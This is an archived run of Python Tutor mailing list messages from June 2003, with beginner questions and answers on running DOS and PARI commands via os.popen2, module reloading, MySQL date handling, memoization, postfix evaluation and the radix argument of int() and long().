Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From pythontutor@venix.com  Tue Jun 17 20:15:06 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Tue Jun 17 19:15:06 2003
Subject: [Tutor] Redirecting output + calling dos commands with input
 tail
References: <Law15-F61oUONcwKWKO00063a2c@hotmail.com>
Message-ID: <3EEFA0AF.8030703@venix.com>

Your instr function could be replaced by an intrinsic python method.

p=instr(cmd,">")  # becomes
p=cmd.find(">")

find returns -1 if there is no match.  Your instr function assumes that 0
is a safe return value, but in other contexts you would not be able to
distinguish between found in the first (zeroth) position and not found at all.

Since a cmd can not legally begin with >, it isn't a problem here.

cino hilliard wrote:
> Hi,
> First thanks Rick for asking the question.
> 
> Magnus, maybe you can help me. The module below has functions that call 
> dos commands.
> 
> pycall('dir') will list the current folder directory but all jumbled up.
> pycall('dir>dir.txt') will list the current folder directory to file 
> dir.txt nice and neat.
> pycall('start excel') starts Excel.
> pycall('start winword') starts Ms word.
> pycall('start maplew8')   starts maple8
> pycall('start p2017.exe') starts pari ver 2017
> etc.
> 
> To see the dos shell commands type help at the cmd console prompt
> c:\pari>help
> For more information on a specific command, type HELP command-name
> ASSOC    Displays or modifies file extension associations.
> AT       Schedules commands and programs to run on a computer.
> ATTRIB   Displays or changes file attributes.
> [Snip]
> 
> pypari('primes(100)') list the first 100 primes. Output here isn't bad.
> 
>>>> pypari('primes(100)')
>>>
> ['? [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 
> 67, 71,
> 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 
> 151, 157,
> 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 
> 239, 241,
> 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 
> 337, 347,
> 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 
> 433, 439,
> 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 
> 541]\n',
> '? ']
> 
>>>> pypari('factor(2^128+1)') factors the 8th Fermat prime
>>>
> ['? \n', '[59649589127497217 1]\n', '\n', '[5704689200685129054721 
> 1]\n', '\n',
> '? ']
> 
> There we have it. Python is as powerful as Pari.
> 
> Questions.
> 1. can the technique you used to help Rick (see redir() in the shell 
> module) be used in shell to
> to make pycall and pypari do what they do  here? Give me some help on 
> exiting processes.
> 
> 2. can the dos console output be formatted to be pretty eg., dir, help etc?
> 
> 3. When I make a modification to shell.py I have to close the current 
> python.exe chevron >>>
> window and start another and  from shell import * again or open another 
>  >>> and from shell import *
> Any way around this? I want to keep the last >>> because the previous 
> commands can be
> retreived with f3 and the arrow keys. The import shell.pycall etc 
> doesn't work in xp pro p4 either.
> 
> 4. Wish list. Right string,left string,mid string functions, etc  built 
> in. see my instr() below
> 
> Thanks for all your work
> 
> #********************************The Shell Game 
> shell.py***************************
> #Usage: >>> from shell import *
> # pycall('cmd[>]')
> #pypari('function')
> 
> import os
> import sys
> def popen2(cmd, bufsize=-1, mode='t'):       #use popen2 to perform dos 
> shell operations
>    w,r = os.popen2(cmd, mode, bufsize)
>    return r,w
> 
> def pycall(cmd):                             #call a dos file or command
>    r,w = popen2(cmd)                   #seems to require both r,w
>    getit = r.readlines()
>    print(getit)
> 
> def pypari(cmd):                              #call and execute a pari 
> command
>    f=open("pari.txt","w")                    #save command to a file
>    p=instr(cmd,">")                          #check for dos redirection 
> ">" command
>    if p > 0:                                 #if ">" exists then write 
> it to file
>       f.write(cmd[:p])
>    else:                                     #otherwise just write pari 
> command to file
>       f.write(cmd)
>       paristr = 'c:\pari\p -q <pari.txt'     #save the pari path with < 
> file parameter
>    f.close()
>    if p > 0:                                       #if you want to 
> redirect pari output to
>       paristr = 'c:\pari\p -q <pari.txt' + cmd[p:] #a file append the > 
> and file you put in cmd
>       print paristr                                 #show some output 
> for sanity
>    r,w = popen2(paristr)
>    getit = r.readlines()
>    print(getit)
> 
> def redir(cmd):                              #redirect output to a file. 
> I attempted to
>    oldout = sys.stdout                      #use this method to do the 
> above to no avail.
>    print 'redirecting'
>    sys.stdout = open(cmd,'w')
>    print 'this text to file',cmd
>    sys.stdout.close()
>    sys.stdout = oldout
>    print 'back to normal'
> 
> 
> def instr(str,chr):                         #instr() get the position of 
> a single character in a string
>   ln = len(str)
>   pos = 0
>   for i in range(ln):
>       if str[i] == chr:
>          pos=i
>          break
>   return pos
> 
> 
> 
>  3         3        3         3        3        6            
> 2               (0^0)
> 2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649
> 
> _________________________________________________________________
> MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
> http://join.msn.com/?page=features/virus
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From jeff@ccvcorp.com  Tue Jun 17 20:23:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Tue Jun 17 19:23:01 2003
Subject: [Tutor] Redirecting output + calling dos commands with input
 tail
References: <Law15-F61oUONcwKWKO00063a2c@hotmail.com>
Message-ID: <3EEFA28A.2030308@ccvcorp.com>

cino hilliard wrote:

> 3. When I make a modification to shell.py I have to close the current 
> python.exe chevron >>>
> window and start another and  from shell import * again or open 
> another >>> and from shell import *
> Any way around this? I want to keep the last >>> because the previous 
> commands can be
> retreived with f3 and the arrow keys. The import shell.pycall etc 
> doesn't work in xp pro p4 either.


Yes, there's a simple way around this.  First, don't use 'from shell 
import *', use 'import shell' instead.  Now, every function that you're 
using from the file will be referred to as, e.g., shell.pypari() or 
shell.pycall().  This requires a tiny bit more typing (unless you have 
an IDE that does autocompletion, where it might *save* typing!), but it 
makes keeping track of which functions are yours and which are built-in 
to Python much simpler.  (It also reduces the risk of having one of your 
functions hide a built-in function by "stealing" its name.)  Now, when 
you make changes to your shell.py file, you can simply type 
'reload(shell)', and the module will be reloaded from the file (with 
your changes).

Jeff Shannon
Technician/Programmer
Credit International




From RFisher930@aol.com  Tue Jun 17 21:34:00 2003
From: RFisher930@aol.com (RFisher930@aol.com)
Date: Tue Jun 17 20:34:00 2003
Subject: [Tutor] tutor llist
Message-ID: <31.3a2c7367.2c210d2d@aol.com>

--part1_31.3a2c7367.2c210d2d_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

please unsubscribe

--part1_31.3a2c7367.2c210d2d_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">please unsubscribe</FONT></HTML>

--part1_31.3a2c7367.2c210d2d_boundary--


From decibelshelp@charter.net  Tue Jun 17 21:52:32 2003
From: decibelshelp@charter.net (Decibels)
Date: Tue Jun 17 20:52:32 2003
Subject: [Tutor] MySQLdb table is DATE, but SELECT returns with TIMESTAMP.
Message-ID: <200306171950.35843.decibelshelp@charter.net>

Hi,
	Not quite sure why it is doing this. I will try to make this brief as possible.

1) Created table in database with various columns. One of which is a date type.
    But I specifically said 'date'

cursor.execute("""
	CREATE TABLE portfolio
,....
datebought date default NULL,
,....
		""")

2) I have sucessfully entered data into the table with the program I wrote.
The DATE is in the correct format and shows correctly with no errors.

3) I am trying to write the part to delete a row if it matches 3 items. One of
which is the DATE.  But I need to search the table first to see if any items
match. Don't want to delete the wrong one.

When I put in some print statements to see why it wasn't working the date 
part was showing me this:

2003-11-11 00:00:00.00

I was reading the MySQL manual to see why it was doing that. One of the things it
says is:

      "If you assign a DATETIME or TIMESTAMP value to a DATE object, the time part of
       the resulting value is deleted, because the DATE type stores no time information."

also:

     "The DATE type is used when you need only a date value, without a time part. MySQL
     retrieves and displays DATE values in 'YYYY-MM-DD' format. The supported range 
     is '1000-01-01' to '9999-12-31'."

Is this one of the things like the floating point? Where it really stores it with the timestamp, like
floating point really stores it more than 2 decimel places.  If so it makes it hard to match when I
don't need a time stamp.

I tried +'00:00:00:00' but ran into the: TypeError: unsupported operand types for +: 'DateTime' and 'str'

I would rather do this without that anyway.

Any ideas??

Thanks, Dave



From glingl@aon.at  Tue Jun 17 22:52:01 2003
From: glingl@aon.at (Gregor Lingl)
Date: Tue Jun 17 21:52:01 2003
Subject: [Tutor] Memoizing automatically?
Message-ID: <3EEFC60D.1090207@aon.at>

Hi all!

I've produced the code following below for two recursive functions,
which compute many values many times. And two
corresponding functions, which store values already computed
once in a dictionary. This results (of course) in an immense
improvement of runtime behaviour. (I give two examples to
stress the structural similarity)

My first question: Is this a reasonable approach or would you
recommend a better one, especially with respect to

my second question: how do I program some sort of factory-function
which produces automatically the memoizing version of  a
given recursive function with several recursive calls and a resulting
weird runtime-behaviour. Please do not discuss those many ways
to program a better fib, binom etc.

My interest lies in generating good programs from bad ones
automatically.

Thanks in advance
Gregor

Here follows the code:

class FIB:
    def fib(self,n):
        if n<3:
            return 1
        return self.fib(n-2) + self.fib(n-1)

class FIBM(FIB):
    memo = {}
    def fib(self,n):
        if n in self.memo:
            return self.memo[n]
        self.memo[n] = FIB.fib(self, n)
        return self.memo[n]


class BINOM:
    def binom(self,n,k):
        if n < 2 or k == 0 or k == n:
            return 1
        return self.binom(n-1,k-1) + self.binom(n-1,k)

class BINOMM(BINOM):
    memo = {}
    def binom(self,n,k):
        if (n,k) in self.memo:
            return self.memo[(n,k)]
        self.memo[(n,k)] = BINOM.binom(self, n, k)
        return self.memo[(n,k)]

### Example:

 >>> p = BINOM()
 >>> q = BINOMM()
 >>> if 1:
...     a=clock()
...     r1 = p.binom(22,8)
...     b=clock()
...     r2 = q.binom(22,8)
...     c=clock()
...     print b-a
...     print c-b
...
5.93672046679
0.00781942738013
 >>> q.memo
{(3, 3): 1, (3, 2): 3, (3, 1): 3, (3, 0): 1, (7, 7): 1, (7, 6): 7, (7, 
5): 21,
....
(15, 4): 1365, (15, 3): 455, (15, 2): 105, (15, 1): 15, (8, 8): 1, (15, 
8): 6435}
 >>> q.memo[(22,8)]
319770
 






From glingl@aon.at  Tue Jun 17 22:55:02 2003
From: glingl@aon.at (Gregor Lingl)
Date: Tue Jun 17 21:55:02 2003
Subject: [Tutor] Memoizing ...
Message-ID: <3EEFC6B5.4050109@aon.at>

I mean, I'd like to get something like:

 >>> BINOMM = memoize(BINOM)

or

 >>> BINOMM = memoize(BINOM, BINOM.binom)

or something similar.

Gregor




From project5@redrival.net  Tue Jun 17 23:20:40 2003
From: project5@redrival.net (Andrei)
Date: Tue Jun 17 22:20:40 2003
Subject: [Tutor] Re: Newbie project, possible?
In-Reply-To: <BAY8-F120d9mTP2vZXq000076b6@hotmail.com>
References: <BAY8-F120d9mTP2vZXq000076b6@hotmail.com>
Message-ID: <bcoi61$u14$1@main.gmane.org>

Ruben Walston wrote:
> research I found that python was perhaps the best program to begin my 
> programming journey with. In the few months that I've been reading and

I think it's a good choice. I learned programming with Pascal which is a 
  traditional teaching language, but I find Python easier on the eye, 
mind and soul.

> practicing with python, I've found my biggest obstacle to be that I dont 
> know all of the modules available to me, further I'm still trying to 

My main platform is Windows and there I use the ActiveState distro of 
Python, which includes an excellent HTMLHelp reference. You can browse 
through it easily with the treeview or use the search features. I also 
combine this with PyCrust (comes with wxPython), which IMO is the best 
way to explore modules you don't know yet (beats reading docs).

> figure out exactly how to use classes. Anyway, I've decided to help me 

Whenever you find you're writing lots of loose functions to manipulate a 
single item, you might be better off writing a class which encorporates 
all those functions as methods of that item. I don't think there are any 
situations where you can't get by without object oriented programming 
(using classes), it's just that IMO OOP makes work and maintenace easier.

> would be cool to have a little program that would allow them to use a 
> gui and type in the treatment that they administered to the patient, and 
> upon there entries the program would search (dictionary?, list?, or 

I'm a fan of the auto-complete system used in browsers, where you can 
press Enter at any time to accept the auto-completion OR browse your way 
to the similar entries provided in a listbox below the text entry box. 
It's very easy to use (unlike say regexes).

> send the codes to another program. Does this sound like something a 
> newer user could do or is this a project for someone with more advanced 

Sounds doable to me, though it could become a lot more difficult if you 
have extremely large numbers of treatments, or communications with other 
apps prove a problem.

> skills? Well to be honest, I'm going to give it a shot anyway. Question 
> though, by using Tkinter is it possible to have it print text from a 

You might want to look into wxPython, it has some really nice free GUI 
painters (my personal fav is wxGlade, but Boa is very good too) and IMO 
it looks better too.

I think you should go with Magnus' advice about separating GUI and 
engine at a code level (I once ended up rewriting a program where I 
hadn't done this because it had become unmaintainable), but I for one 
don't write engine first, GUI second and I also don't often (or ever) 
use the engine from the command line. The GUI helps me think of what 
functions the engine should provide and it also provides a VERY fast way 
of testing my engine (why type a lot when I can press F2 from my GUI?). 
That being said, my largest Python program is only some 2000 lines, 400 
of which are generated by wxGlade, so larger projects might not work 
like that.

Andrei

=====
Mail address in header catches spam. Real contact info (decode with rot13):
cebwrpg5@bcrenznvy.pbz. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V 
ernq gur yvfg, fb gurer'f ab arrq gb PP.




From rmangaliag@slu.edu.ph  Wed Jun 18 00:11:38 2003
From: rmangaliag@slu.edu.ph (ali mangaliag)
Date: Tue Jun 17 23:11:38 2003
Subject: [Tutor] languages
References: <000e01c333c6$8525e420$c49780d1@vvernon> <019901c3343c$9e8bf3c0$6401a8c0@xp>
Message-ID: <002b01c33548$dc4c2100$da19a8c0@slu.edu.ph>

> To the contrary, learning Python will be a greeat aid in learning
> Java, Vis Basic (and Visual C++ to a slightly lesser degree). It
> won't help much with COBOL which has a way all of its own!
>
> All of them are likely to feel cumbersome and restrictive after
> Python.

on the opposite side of the coin... if you studied java first or any
object-oriented
language, learning python would be significantly easier and not to mention
more liberating than any other "restrictive" languages...

anyway, the theory behind OOP is much the same with any language...



From hillcino368@hotmail.com  Wed Jun 18 00:44:02 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Tue Jun 17 23:44:02 2003
Subject: [Tutor] Redirecting output + calling dos commands with input tail
Message-ID: <Law15-F47Dpubxcbz3700007877@hotmail.com>

Bravo! Jeff. This works!

Still I am curious, why the compiler can't overwrite the old session. It 
seems to me it could internally
create another >>> session and then kill itself as a crude solution. I am 
lazy and like the clean,crisp
function call pycall vs the shell.pycall(). Seems to be a minor challenge 
for a master programmer to
quickly make this modification or better "evolution" in an improving 
language.


>From: "Jeff Shannon" <jeff@ccvcorp.com>
>To: tutor@python.org
>CC: cino hilliard <hillcino368@hotmail.com>
>Subject: Re: [Tutor] Redirecting output + calling dos commands with input 
>tail
>Date: Tue, 17 Jun 2003 16:21:46 -0700
>
>cino hilliard wrote:
>
>>3. When I make a modification to shell.py I have to close the current 
>>python.exe chevron >>>
>>window and start another and  from shell import * again or open another 
>> >>> and from shell import *
>>Any way around this? I want to keep the last >>> because the previous 
>>commands can be
>>retreived with f3 and the arrow keys. The import shell.pycall etc doesn't 
>>work in xp pro p4 either.
>
>
>Yes, there's a simple way around this.  First, don't use 'from shell import 
>*', use 'import shell' instead.  Now, every function that you're using from 
>the file will be referred to as, e.g., shell.pypari() or shell.pycall().  
>This requires a tiny bit more typing (unless you have an IDE that does 
>autocompletion, where it might *save* typing!), but it makes keeping track 
>of which functions are yours and which are built-in to Python much simpler. 
>  (It also reduces the risk of having one of your functions hide a built-in 
>function by "stealing" its name.)  Now, when you make changes to your 
>shell.py file, you can simply type 'reload(shell)', and the module will be 
>reloaded from the file (with your changes).
>
>Jeff Shannon
>Technician/Programmer
>Credit International
>
>


  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From loizie@hotmail.com  Wed Jun 18 00:51:02 2003
From: loizie@hotmail.com (evros)
Date: Tue Jun 17 23:51:02 2003
Subject: [Tutor] Using  a Stack to evaluate  postfix....?
Message-ID: <BAY7-DAV24IQFBROH4T000607a3@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C33522.CD1CE910
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

what happen if we have an example with a negative number ex:
((2*3)-10)=3D -4     in postfix will be liek that 23*10- is that =
correct?
if i try to use stack now to evaluate i will have :push 2 then push =
3,then perfom the operation* so we have 6 push 6 then push 10 then pop =
the operand off the stack. my question now are we gona have 10-6 or 6-10 =
. which one is going first?
thanks for teh help

------=_NextPart_000_0005_01C33522.CD1CE910
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY style=3D"COLOR: #000000; FONT-FAMILY: " bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>what happen if we have an example with =
a negative=20
number ex:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>((2*3)-10)=3D =
-4&nbsp;&nbsp;&nbsp;&nbsp; in postfix=20
will be liek that 23*10- is that correct?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>if i try to use stack now to evaluate i =
will have=20
:push 2 then push 3,then perfom the operation* so we have 6 push 6 then =
push 10=20
then pop the operand off the stack. my question now are we gona have =
10-6 or=20
6-10 . which one is going first?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>thanks for teh help</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0005_01C33522.CD1CE910--


From hillcino368@hotmail.com  Wed Jun 18 01:15:03 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Wed Jun 18 00:15:03 2003
Subject: [Tutor] Redirecting output + calling dos commands with input tail
Message-ID: <Law15-F110tMPqS1Fg300062877@hotmail.com>

Hi, Users


>From: Magnus Lyckå <magnus@thinkware.se>
>To: "cino hilliard" <hillcino368@hotmail.com>, tutor@python.org
>Subject: Re: [Tutor] Redirecting output + calling dos commands with  input 
>tail
>Date: Tue, 17 Jun 2003 23:52:34 +0200
>
>At 21:22 2003-06-17 +0000, cino hilliard wrote:
>>Hi,
>>First thanks Rick for asking the question.
>>
>>Magnus, maybe you can help me. The module below has functions that call 
>>dos commands.

>
>Sure! Can I bill you? :) Actually, I'm sure many people on

Yeah. go ahead. If it is reasonable. I am willing to pay for performance. 
:-).

>the list might help, and if you put it like that, others

Minor point to me. In a list, it is implicit that others can chime in. For 
what it is worth it was my intent
to inlist the help of others also.  otherwise, why would I copy them?

>might not bother, and I might not have the time.

>
>My instant reflection was that if you replace ".readlines()"
>with a simple ".read()" your printed output won't be messed
>up.
This is mind boggling. some comments I omitted from the post to my shell 
module are below
indicate I tried read() first.

# ................................................Suppose I wanted to 
examine some prime
# index primes in python. Then pypari("prime(prime(i)>i.txt") would place 
the ith
# PIP into the file t.txt. Then we can f=open("i","r") and let i = r.read() 
etc.
# the output into the >>> console is some times awkward and could be 
improved
# by using readline and printing one line at a time..................

Ok  I edited shell and used read() then did a reload(shell)  Thanks, Jeff!

def pycall(cmd):                             #call a dos file or command
    r,w = popen2(cmd)
    getit = r.read()                          #do not use readline
    print(getit)

and voila, pycall('dir')  gives
Volume in drive C has no label.
Volume Serial Number is E834-0F93

Directory of C:\Python23

06/17/2003  10:45 PM    <DIR>          .
06/17/2003  10:45 PM    <DIR>          ..
06/17/2003  01:34 PM                 0 (32)a
06/17/2003  01:34 PM                 0 (8x
05/21/2003  02:31 AM            35,763 10000!.txt
05/21/2003  02:38 AM               103 100000!.txt
05/21/2003  03:09 PM         5,565,821 1000000!.txt
[snip]
02/13/2003  03:37 AM               409 web.py
02/13/2003  03:38 AM               683 web.pyc
             101 File(s)     10,319,680 bytes
               9 Dir(s)  96,196,231,168 bytes free

Perfect!
pycall('dir>test.txt')
Also prints to file correctly.


>>>


>
>
>--
>Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
>Thinkware AB, Sweden, www.thinkware.se
>I code Python ~ The Agile Programming Language
>


  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
Protect your PC - get McAfee.com VirusScan Online  
http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963



From shalehperry@attbi.com  Wed Jun 18 02:09:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Wed Jun 18 01:09:02 2003
Subject: [Tutor] Using  a Stack to evaluate  postfix....?
In-Reply-To: <BAY7-DAV24IQFBROH4T000607a3@hotmail.com>
References: <BAY7-DAV24IQFBROH4T000607a3@hotmail.com>
Message-ID: <200306172207.51182.shalehperry@attbi.com>

On Tuesday 17 June 2003 20:50, evros wrote:
> what happen if we have an example with a negative number ex:
> ((2*3)-10)= -4     in postfix will be liek that 23*10- is that correct?
> if i try to use stack now to evaluate i will have :push 2 then push 3,then
> perfom the operation* so we have 6 push 6 then push 10 then pop the operand
> off the stack. my question now are we gona have 10-6 or 6-10 . which one is
> going first? thanks for teh help

let's rewrite this in postfix:

2 3 * 10 -

so if you tilt your head, this is also the stack (-:

after the multiplication you have

6 10 -

which yields -4.

Basically, imagine the numbers as say apples.  Pop one off the stack and it 
goes in your left hand, then pop the second one into your right hand.  The 
operator then tells you what to do with the apples.  Postfix is always read 
left -> right so there is no confusion.

10 6 - is different from 6 10 -.



From hillcino368@hotmail.com  Wed Jun 18 02:28:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Wed Jun 18 01:28:01 2003
Subject: [Tutor] Redirecting output + calling dos commands with input tail
Message-ID: <Law15-F28njtHzR5WoD000553a8@hotmail.com>

Thanks Lloyd,

def pypari(cmd):                              #call and execute a pari 
command
    f=open("pari.txt","w")                    #save command to a file
#  p=instr(cmd,">")                           #check for dos redirection ">" 
command
    p=cmd.find(">")                            # better intrinsic function 
to find occurrences
[snip]

Works fine. No need for a new wheel here. In the meantime, I reviewed the 
docs on string services
and found a lot of stuff that will take care of most of my wish list.

Moreover, the intrinsic function is 10 times faster than the user defined 
function instr().

Thanks for your work!

>From: Lloyd Kvam <pythontutor@venix.com>
>To: cino hilliard <hillcino368@hotmail.com>
>CC: tutor@python.org
>Subject: Re: [Tutor] Redirecting output + calling dos commands with input 
>tail
>Date: Tue, 17 Jun 2003 19:13:51 -0400
>
>Your instr function could be replaced by an intrinsic python method.
>
>p=instr(cmd,">")  # becomes
>p=cmd.find(">")
>
>find returns -1 if there is no match.  Your instr function assumes that 0
>is a safe return value, but in other contexts you would not be able to
>distinguish between found in the first (zeroth) position and not found at 
>all.
>
>Since a cmd can not legally begin with >, it isn't a problem here.

  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From hillcino368@hotmail.com  Wed Jun 18 03:41:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Wed Jun 18 02:41:01 2003
Subject: [Tutor] built in functions int(),long()
Message-ID: <Law15-F82tVjUQtXvXO0000cd4d@hotmail.com>

Hi all,

The built in always avail functions

int( x[, radix])
Convert a string or number to a plain integer. If the argument is a string, 
it must contain a possibly signed decimal number representable as a Python 
integer, possibly embedded in whitespace; this behaves identical to 
string.atoi(x[, radix]). The radix parameter gives the base for the 
conversion and may be any integer in the range [2, 36], or zero. If radix is 
zero, the proper radix is guessed based on the contents of string; the 
interpretation is the same as for integer literals. If radix is specified 
and x is not a string, TypeError is raised. Otherwise, the argument may be a 
plain or long integer or a floating point number. Conversion of floating 
point numbers to integers truncates (towards zero). If the argument is 
outside the integer range a long object will be returned instead.


long( x[, radix])
Convert a string or number to a long integer. If the argument is a string, 
it must contain a possibly signed number of arbitrary size, possibly 
embedded in whitespace; this behaves identical to string.atol(x). The radix 
argument is interpreted in the same way as for int(), and may only be given 
when x is a string. Otherwise, the argument may be a plain or long integer 
or a floating point number, and a long integer with the same value is 
returned. Conversion of floating point numbers to integers truncates 
(towards zero).

These do not work properly or as defined.
examples
>>>long('123',2)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
ValueError: invalid literal for long(): 123
>>>
>>>long('123')
123L                            OK
>>>
>>>long("123",10)
123L                           OK
>>>long('123',4)
27L                                      base 10  123 base 4 = 1323
same thing for int()
same thing for versions python 222, 23 a1


  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus



From greg@gregmchapman.info  Wed Jun 18 04:18:02 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Wed Jun 18 03:18:02 2003
Subject: [Tutor] built in functions int(),long()
In-Reply-To: <Law15-F82tVjUQtXvXO0000cd4d@hotmail.com>
Message-ID: <JOENINDGJDPMGHODEHKLEEIGCCAA.greg@gregmchapman.info>

I'm guessing that int is by definition base10; the radix parameter tells the
function what base you are coming *from*.  Therefore int(123,2) is illegal
because 2 and 3 are not valid values for base2 numbers.  int(123,4) is 27
because 1*4^2+2*4+3=27.

Does this make sense?

greg




From lonetwin@yahoo.com  Wed Jun 18 04:26:01 2003
From: lonetwin@yahoo.com (lonetwin)
Date: Wed Jun 18 03:26:01 2003
Subject: [Tutor] built in functions int(),long()
In-Reply-To: <Law15-F82tVjUQtXvXO0000cd4d@hotmail.com>
References: <Law15-F82tVjUQtXvXO0000cd4d@hotmail.com>
Message-ID: <200306181310.32361.lonetwin@yahoo.com>

Hi there,
On Wednesday 18 Jun 2003 12:09 pm, cino hilliard wrote:
> >>>long('123',2)
>
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> ValueError: invalid literal for long(): 123
     This is correct because '123' is an invalid literal in a base 2 number 
system.
    int and long convert ^^strings^^ to ^^numbers^^. The optional second 
argument is to specify what radix the first (string) argument is in. For 
example:
--------------------------------------------
>>> int('01',2)
1
>>> int('10',2)
2
>>> int('11',2)
3
>>>  int(11)
11
>>>
--------------------------------------------
  If the second argument is zero, the radix is guessed. For example:
--------------------------------------------
>>> int('0xff', 0)
255
>>>
--------------------------------------------
       I guess you mistakenly assumed that the int() and float() builtins also 
convert the number strings into the base radix that you provide as the second 
argument.

HTH
Peace
Steve

-- 
Never be afraid to tell the world who you are.
                                     - Anonymous


From magnus@thinkware.se  Wed Jun 18 04:58:07 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 18 03:58:07 2003
Subject: [Tutor] MySQLdb table is DATE, but SELECT returns with
 TIMESTAMP.
In-Reply-To: <200306171950.35843.decibelshelp@charter.net>
Message-ID: <5.2.1.1.0.20030618095127.01e8ee58@www.thinkware.se>

You won't understand this by reading MySQL manuals, you
must understand what data types you use in *Python*.

I assume that you use mx.DateTime.DateTime in Python for
date handling. This is the type returned from a call to
the mx.DateTime.Date function, which I assume the MySQLdb
layer performs when you select a date from the database.

This is no text string, it's a DateTime object. mx.DateTime
uses the same type for timestamps and dates, just setting the
time part to midnight in simple dates.

Example:
 >>> import mx.DateTime
 >>> d = mx.DateTime.Date(2003,1,4)
 >>> print d
2003-01-04 00:00:00.00

If you want to erase all rows in table T where column C is a
Date with value 2003-11-11 00:00:00.00, you would do something
like:

cur.execute('DELETE FROM T WHERE C = %s',(mx.DateTime.Date(2003,11,11),))


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From rudolf.maurer@lycos.de  Wed Jun 18 05:09:06 2003
From: rudolf.maurer@lycos.de (Rudolf Maurer)
Date: Wed Jun 18 04:09:06 2003
Subject: [Tutor] CUPS-page_log processing
Message-ID: <3EF01E08.3030504@lycos.de>

Hi all,

i am dreaming of having a little Python-Script for searching of the
entries of a user or printer in CUPS page_log file. (Yes, I know the
large Python solution to this problem... pykota. But it has lots of
Overhead and that project teaches me Python :-) )

page_log uses the Common Log File Format of Apache. Is there a Module
which provides already a handling of this format?
Each entry is one line, with printer-name username, DateTime, number of
pages, status code

Now, i tried a little Program which is able to search for lines in that
file which belong to a printer. Then i do string.split() on the found
lines and end up with a list of strings for each line. Where to store
these lists? It might be a thousand or so. Dictionary, List, Tuple? How
about the consumption of memory?

Would you suggest to me reading all the file to memory (i.e. as a list
like: lines = file.readlines() ?
Or is it better to read each line, process an go to the next one ?
The file might have lots of lines...

What if i want to delete single lines out of the file? Does exist a
method for that? And where can i search for these method for miself (not
having to ask here every time...). I think i'm to dump to use the Python
Library Reference (if thats the right place...)

Thanks a lot for providing that great help!

See you
Rudy




From magnus@thinkware.se  Wed Jun 18 05:14:04 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 18 04:14:04 2003
Subject: [Tutor] Re: Newbie project, possible?
In-Reply-To: <bcoi61$u14$1@main.gmane.org>
References: <BAY8-F120d9mTP2vZXq000076b6@hotmail.com>
 <BAY8-F120d9mTP2vZXq000076b6@hotmail.com>
Message-ID: <5.2.1.1.0.20030618100447.01fbe0f8@www.thinkware.se>

At 04:17 2003-06-18 +0200, Andrei wrote:
>but I for one don't write engine first, GUI second and I also don't often 
>(or ever) use the engine from the command line.

